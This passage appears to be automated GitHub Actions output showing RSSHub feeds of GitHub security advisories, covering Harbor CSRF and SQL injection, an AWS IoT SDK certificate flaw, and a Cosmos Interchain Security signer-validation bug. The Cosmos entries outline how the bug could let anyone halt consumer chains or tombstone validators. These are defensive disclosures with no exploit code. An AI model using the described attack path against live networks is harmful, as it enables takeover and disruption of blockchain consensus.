        &lt;li&gt;&lt;a href=&quot;https://vuldb.com/?id.276630&quot;&gt;https://vuldb.com/?id.276630&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://vuldb.com/?submit.401826&quot;&gt;https://vuldb.com/?submit.401826&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/vuln/GO-2024-3118&quot;&gt;https://pkg.go.dev/vuln/GO-2024-3118&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-g6q4-w3j3-jfc4&quot;&gt;https://github.com/advisories/GHSA-g6q4-w3j3-jfc4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-g6q4-w3j3-jfc4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-g6q4-w3j3-jfc4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/goharbor/harbor] Cross-site Request Forgery (CSRF) in Cloud Native Computing Foundation Harbor</title>
      <description>&lt;p&gt;Cure53 has discovered that the Harbor web interface does not implement protection mechanisms against Cross-Site Request Forgery (CSRF). By luring an authenticated user onto a prepared third-party website, an attacker can execute any action on the platform in the context of the currently authenticated victim.&lt;/p&gt;
        &lt;p&gt;The vulnerability was immediately fixed by the Harbor team and all supported versions were patched.&lt;/p&gt;
        &lt;p&gt;Successful exploitation of this issue will lead to 3rd parties executing actions on the platform of behalf of authenticated users and administrators.&lt;/p&gt;
        &lt;p&gt;If your product uses the affected releases of Harbor, update to version 1.8.6 and 1.9.3 to patch this issue immediately.&lt;/p&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/releases/tag/v1.8.6&quot;&gt;https://github.com/goharbor/harbor/releases/tag/v1.8.6&lt;/a&gt;
        &lt;a href=&quot;https://github.com/goharbor/harbor/releases/tag/v1.9.3&quot;&gt;https://github.com/goharbor/harbor/releases/tag/v1.9.3&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories/GHSA-gcqm-v682-ccw6&quot;&gt;https://github.com/goharbor/harbor/security/advisories/GHSA-gcqm-v682-ccw6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-19025&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2019-19025&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories&quot;&gt;https://github.com/goharbor/harbor/security/advisories&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://tanzu.vmware.com/security/cve-2019-19025&quot;&gt;https://tanzu.vmware.com/security/cve-2019-19025&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-rffr-c932-cpxv&quot;&gt;https://github.com/advisories/GHSA-rffr-c932-cpxv&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-rffr-c932-cpxv</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-rffr-c932-cpxv</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/goharbor/harbor] Cross-site Request Forgery (CSRF) in Cloud Native Computing Foundation Harbor</title>
      <description>&lt;p&gt;Cure53 has discovered that the Harbor web interface does not implement protection mechanisms against Cross-Site Request Forgery (CSRF). By luring an authenticated user onto a prepared third-party website, an attacker can execute any action on the platform in the context of the currently authenticated victim.&lt;/p&gt;
        &lt;p&gt;The vulnerability was immediately fixed by the Harbor team and all supported versions were patched.&lt;/p&gt;
        &lt;p&gt;Successful exploitation of this issue will lead to 3rd parties executing actions on the platform of behalf of authenticated users and administrators.&lt;/p&gt;
        &lt;p&gt;If your product uses the affected releases of Harbor, update to version 1.8.6 and 1.9.3 to patch this issue immediately.&lt;/p&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/releases/tag/v1.8.6&quot;&gt;https://github.com/goharbor/harbor/releases/tag/v1.8.6&lt;/a&gt;
        &lt;a href=&quot;https://github.com/goharbor/harbor/releases/tag/v1.9.3&quot;&gt;https://github.com/goharbor/harbor/releases/tag/v1.9.3&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories/GHSA-gcqm-v682-ccw6&quot;&gt;https://github.com/goharbor/harbor/security/advisories/GHSA-gcqm-v682-ccw6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-19025&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2019-19025&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories&quot;&gt;https://github.com/goharbor/harbor/security/advisories&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://tanzu.vmware.com/security/cve-2019-19025&quot;&gt;https://tanzu.vmware.com/security/cve-2019-19025&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-rffr-c932-cpxv&quot;&gt;https://github.com/advisories/GHSA-rffr-c932-cpxv&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-rffr-c932-cpxv</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-rffr-c932-cpxv</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/goharbor/harbor] SQL Injection in Cloud Native Computing Foundation Harbor</title>
      <description>&lt;p&gt;Cloud Native Computing Foundation Harbor prior to 1.8.6 and 1.9.3 allows SQL Injection via user-groups in the VMware Harbor Container Registry for the Pivotal Platform.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories/GHSA-qcfv-8v29-469w&quot;&gt;https://github.com/goharbor/harbor/security/advisories/GHSA-qcfv-8v29-469w&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-19029&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2019-19029&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories&quot;&gt;https://github.com/goharbor/harbor/security/advisories&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://tanzu.vmware.com/security/cve-2019-19029&quot;&gt;https://tanzu.vmware.com/security/cve-2019-19029&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/vuln/GO-2022-0853&quot;&gt;https://pkg.go.dev/vuln/GO-2022-0853&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-jr34-mff8-pc6f&quot;&gt;https://github.com/advisories/GHSA-jr34-mff8-pc6f&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-jr34-mff8-pc6f</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-jr34-mff8-pc6f</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/goharbor/harbor] SQL Injection in Cloud Native Computing Foundation Harbor</title>
      <description>&lt;p&gt;Cloud Native Computing Foundation Harbor prior to 1.8.6 and 1.9.3 allows SQL Injection via user-groups in the VMware Harbor Container Registry for the Pivotal Platform.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories/GHSA-qcfv-8v29-469w&quot;&gt;https://github.com/goharbor/harbor/security/advisories/GHSA-qcfv-8v29-469w&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-19029&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2019-19029&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories&quot;&gt;https://github.com/goharbor/harbor/security/advisories&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://tanzu.vmware.com/security/cve-2019-19029&quot;&gt;https://tanzu.vmware.com/security/cve-2019-19029&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/vuln/GO-2022-0853&quot;&gt;https://pkg.go.dev/vuln/GO-2022-0853&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-jr34-mff8-pc6f&quot;&gt;https://github.com/advisories/GHSA-jr34-mff8-pc6f&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-jr34-mff8-pc6f</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-jr34-mff8-pc6f</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/cosmos/interchain-security/v4] Interchain Security: The signers of ICS messages do not need to match the provider address</title>
      <description>&lt;h3 id=&quot;context&quot;&gt;Context&lt;/h3&gt;
        &lt;p&gt;ICS has the following four messages that enable validators on the provider chain to perform different actions:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;code&gt;MsgOptIn&lt;/code&gt; -- adds a validator to the consumer chain’s active set&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgOptOut&lt;/code&gt; -- removes a validator from the consumer chain’s active set &lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgAssignConsumerKey&lt;/code&gt; -- changes the consensus key used for a validator’s operations on a consumer chain&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgSetConsumerCommissionRate&lt;/code&gt; -- sets a validator’s consumer-specific commission rate&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;Normally, only the respective validators are allowed to perform these actions. &lt;/p&gt;
        &lt;h3 id=&quot;issue&quot;&gt;Issue&lt;/h3&gt;
        &lt;p&gt;The upgrade to SDK 0.50, introduced a &lt;a href=&quot;https://docs.cosmos.network/v0.50/build/building-modules/protobuf-annotations#signer&quot;&gt;signer&lt;/a&gt; field to these messages. This field is used to authenticate the user sending the message to the system. However, there was no validation on the ICS side to check if the signer matches the provider address. &lt;/p&gt;
        &lt;p&gt;As a result, any user could opt-in, opt-out, change the commission rate, or change what public key a validator uses on a consumer chain. &lt;/p&gt;
        &lt;p&gt;For more context, check out the code:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;proto files &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message validation &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message handling &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;severity-assessment&quot;&gt;Severity assessment&lt;/h3&gt;
        &lt;p&gt;The severity assessment is based on &lt;a href=&quot;https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md&quot;&gt;this framework&lt;/a&gt;. &lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Potential impact:&lt;/strong&gt; Catastrophic &lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;By changing consumer keys for 1/3+ of a consumer chain&#39;s validator set, any user could cause a consumer chain to halt. Given that the consumer is down, the provider will jail provider validators for consumer downtime, so this exploit would not have impacted the provider directly. Consumer chain halts would need to be addressed by a provider-side patch.&lt;/li&gt;
        &lt;li&gt;By changing consumer keys on a consumer node, double signing, and submitting evidence back to the provider, any user could tombstone any provider validator. This would cause the provider&#39;s active set to change. At scale, this exploit could be applied to all active provider validators and a well-funded attacker could then run their own nodes and take over consensus on the provider and on consumer chains.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;&lt;strong&gt;Likelihood:&lt;/strong&gt; Rare&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The bug was discovered internally. There is no evidence that any external party has identified this vulnerability. &lt;/li&gt;
        &lt;li&gt;The bug has been live for two weeks with no issues. &lt;/li&gt;
        &lt;li&gt;All four message types are ones that only validators use, and rarely use in daily operations.&lt;/li&gt;
        &lt;li&gt;In the Cosmos Hub’s recent history (May - Aug), there has been only one instance of any of these message types, which was performed in accordance with chain rules.&lt;/li&gt;
        &lt;li&gt;The catastrophic exploits (such as tombstoning the entire validator set of the provider) are also extremely complex. They involve several operations that are not well-understood by many people, and the entire exploit must occur quickly and at-scale to avoid other node operators responding defensively.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/cosmos/interchain-security/security/advisories/GHSA-7q74-g774-7x3g&quot;&gt;https://github.com/cosmos/interchain-security/security/advisories/GHSA-7q74-g774-7x3g&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-7q74-g774-7x3g&quot;&gt;https://github.com/advisories/GHSA-7q74-g774-7x3g&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-7q74-g774-7x3g</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-7q74-g774-7x3g</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/cosmos/interchain-security/v3] Interchain Security: The signers of ICS messages do not need to match the provider address</title>
      <description>&lt;h3 id=&quot;context&quot;&gt;Context&lt;/h3&gt;
        &lt;p&gt;ICS has the following four messages that enable validators on the provider chain to perform different actions:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;code&gt;MsgOptIn&lt;/code&gt; -- adds a validator to the consumer chain’s active set&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgOptOut&lt;/code&gt; -- removes a validator from the consumer chain’s active set &lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgAssignConsumerKey&lt;/code&gt; -- changes the consensus key used for a validator’s operations on a consumer chain&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgSetConsumerCommissionRate&lt;/code&gt; -- sets a validator’s consumer-specific commission rate&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;Normally, only the respective validators are allowed to perform these actions. &lt;/p&gt;
        &lt;h3 id=&quot;issue&quot;&gt;Issue&lt;/h3&gt;
        &lt;p&gt;The upgrade to SDK 0.50, introduced a &lt;a href=&quot;https://docs.cosmos.network/v0.50/build/building-modules/protobuf-annotations#signer&quot;&gt;signer&lt;/a&gt; field to these messages. This field is used to authenticate the user sending the message to the system. However, there was no validation on the ICS side to check if the signer matches the provider address. &lt;/p&gt;
        &lt;p&gt;As a result, any user could opt-in, opt-out, change the commission rate, or change what public key a validator uses on a consumer chain. &lt;/p&gt;
        &lt;p&gt;For more context, check out the code:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;proto files &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message validation &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message handling &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;severity-assessment&quot;&gt;Severity assessment&lt;/h3&gt;
        &lt;p&gt;The severity assessment is based on &lt;a href=&quot;https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md&quot;&gt;this framework&lt;/a&gt;. &lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Potential impact:&lt;/strong&gt; Catastrophic &lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;By changing consumer keys for 1/3+ of a consumer chain&#39;s validator set, any user could cause a consumer chain to halt. Given that the consumer is down, the provider will jail provider validators for consumer downtime, so this exploit would not have impacted the provider directly. Consumer chain halts would need to be addressed by a provider-side patch.&lt;/li&gt;
        &lt;li&gt;By changing consumer keys on a consumer node, double signing, and submitting evidence back to the provider, any user could tombstone any provider validator. This would cause the provider&#39;s active set to change. At scale, this exploit could be applied to all active provider validators and a well-funded attacker could then run their own nodes and take over consensus on the provider and on consumer chains.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;&lt;strong&gt;Likelihood:&lt;/strong&gt; Rare&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The bug was discovered internally. There is no evidence that any external party has identified this vulnerability. &lt;/li&gt;
        &lt;li&gt;The bug has been live for two weeks with no issues. &lt;/li&gt;
        &lt;li&gt;All four message types are ones that only validators use, and rarely use in daily operations.&lt;/li&gt;
        &lt;li&gt;In the Cosmos Hub’s recent history (May - Aug), there has been only one instance of any of these message types, which was performed in accordance with chain rules.&lt;/li&gt;
        &lt;li&gt;The catastrophic exploits (such as tombstoning the entire validator set of the provider) are also extremely complex. They involve several operations that are not well-understood by many people, and the entire exploit must occur quickly and at-scale to avoid other node operators responding defensively.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/cosmos/interchain-security/security/advisories/GHSA-7q74-g774-7x3g&quot;&gt;https://github.com/cosmos/interchain-security/security/advisories/GHSA-7q74-g774-7x3g&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-7q74-g774-7x3g&quot;&gt;https://github.com/advisories/GHSA-7q74-g774-7x3g&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-7q74-g774-7x3g</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-7q74-g774-7x3g</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/cosmos/interchain-security/v2] Interchain Security: The signers of ICS messages do not need to match the provider address</title>
      <description>&lt;h3 id=&quot;context&quot;&gt;Context&lt;/h3&gt;
        &lt;p&gt;ICS has the following four messages that enable validators on the provider chain to perform different actions:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;code&gt;MsgOptIn&lt;/code&gt; -- adds a validator to the consumer chain’s active set&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgOptOut&lt;/code&gt; -- removes a validator from the consumer chain’s active set &lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgAssignConsumerKey&lt;/code&gt; -- changes the consensus key used for a validator’s operations on a consumer chain&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgSetConsumerCommissionRate&lt;/code&gt; -- sets a validator’s consumer-specific commission rate&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;Normally, only the respective validators are allowed to perform these actions. &lt;/p&gt;
        &lt;h3 id=&quot;issue&quot;&gt;Issue&lt;/h3&gt;
        &lt;p&gt;The upgrade to SDK 0.50, introduced a &lt;a href=&quot;https://docs.cosmos.network/v0.50/build/building-modules/protobuf-annotations#signer&quot;&gt;signer&lt;/a&gt; field to these messages. This field is used to authenticate the user sending the message to the system. However, there was no validation on the ICS side to check if the signer matches the provider address. &lt;/p&gt;
        &lt;p&gt;As a result, any user could opt-in, opt-out, change the commission rate, or change what public key a validator uses on a consumer chain. &lt;/p&gt;
        &lt;p&gt;For more context, check out the code:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;proto files &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message validation &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message handling &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;severity-assessment&quot;&gt;Severity assessment&lt;/h3&gt;
        &lt;p&gt;The severity assessment is based on &lt;a href=&quot;https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md&quot;&gt;this framework&lt;/a&gt;. &lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Potential impact:&lt;/strong&gt; Catastrophic &lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;By changing consumer keys for 1/3+ of a consumer chain&#39;s validator set, any user could cause a consumer chain to halt. Given that the consumer is down, the provider will jail provider validators for consumer downtime, so this exploit would not have impacted the provider directly. Consumer chain halts would need to be addressed by a provider-side patch.&lt;/li&gt;
        &lt;li&gt;By changing consumer keys on a consumer node, double signing, and submitting evidence back to the provider, any user could tombstone any provider validator. This would cause the provider&#39;s active set to change. At scale, this exploit could be applied to all active provider validators and a well-funded attacker could then run their own nodes and take over consensus on the provider and on consumer chains.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;&lt;strong&gt;Likelihood:&lt;/strong&gt; Rare&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The bug was discovered internally. There is no evidence that any external party has identified this vulnerability. &lt;/li&gt;
        &lt;li&gt;The bug has been live for two weeks with no issues. &lt;/li&gt;
        &lt;li&gt;All four message types are ones that only validators use, and rarely use in daily operations.&lt;/li&gt;
        &lt;li&gt;In the Cosmos Hub’s recent history (May - Aug), there has been only one instance of any of these message types, which was performed in accordance with chain rules.&lt;/li&gt;
        &lt;li&gt;The catastrophic exploits (such as tombstoning the entire validator set of the provider) are also extremely complex. They involve several operations that are not well-understood by many people, and the entire exploit must occur quickly and at-scale to avoid other node operators responding defensively.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/cosmos/interchain-security/security/advisories/GHSA-7q74-g774-7x3g&quot;&gt;https://github.com/cosmos/interchain-security/security/advisories/GHSA-7q74-g774-7x3g&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-7q74-g774-7x3g&quot;&gt;https://github.com/advisories/GHSA-7q74-g774-7x3g&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-7q74-g774-7x3g</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-7q74-g774-7x3g</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/cosmos/interchain-security] Interchain Security: The signers of ICS messages do not need to match the provider address</title>
      <description>&lt;h3 id=&quot;context&quot;&gt;Context&lt;/h3&gt;
        &lt;p&gt;ICS has the following four messages that enable validators on the provider chain to perform different actions:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;code&gt;MsgOptIn&lt;/code&gt; -- adds a validator to the consumer chain’s active set&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgOptOut&lt;/code&gt; -- removes a validator from the consumer chain’s active set &lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgAssignConsumerKey&lt;/code&gt; -- changes the consensus key used for a validator’s operations on a consumer chain&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgSetConsumerCommissionRate&lt;/code&gt; -- sets a validator’s consumer-specific commission rate&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;Normally, only the respective validators are allowed to perform these actions. &lt;/p&gt;
        &lt;h3 id=&quot;issue&quot;&gt;Issue&lt;/h3&gt;
        &lt;p&gt;The upgrade to SDK 0.50, introduced a &lt;a href=&quot;https://docs.cosmos.network/v0.50/build/building-modules/protobuf-annotations#signer&quot;&gt;signer&lt;/a&gt; field to these messages. This field is used to authenticate the user sending the message to the system. However, there was no validation on the ICS side to check if the signer matches the provider address. &lt;/p&gt;
        &lt;p&gt;As a result, any user could opt-in, opt-out, change the commission rate, or change what public key a validator uses on a consumer chain. &lt;/p&gt;
        &lt;p&gt;For more context, check out the code:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;proto files &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message validation &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message handling &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;severity-assessment&quot;&gt;Severity assessment&lt;/h3&gt;
        &lt;p&gt;The severity assessment is based on &lt;a href=&quot;https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md&quot;&gt;this framework&lt;/a&gt;. &lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Potential impact:&lt;/strong&gt; Catastrophic &lt;/p&gt;
        &lt;ul&gt;

...

@github-actions GitHub Actions
Copy link
Contributor

http://localhost:1200/github-advisor/data/maven - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - maven</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github-advisor/data/maven" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - maven - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Fri, 13 Sep 2024 16:32:37 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>[software.amazon.awssdk.iotdevicesdk:aws-iot-device-sdk] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;Connections initialized by the AWS IoT Device SDK v2 for Java (versions prior to 1.3.3), Python (versions prior to 1.5.18), C++ (versions prior to 1.12.7) and Node.js (versions prior to 1.5.1) did not verify server certificate hostname during TLS handshake when overriding Certificate Authorities (CA) in their trust stores on Windows. This issue has been addressed in aws-c-io submodule versions 0.9.13 onward. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.3.3 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.5.18 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on Microsoft Windows.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40828&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40828&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&lt;/a&gt;&lt;/li&gt;
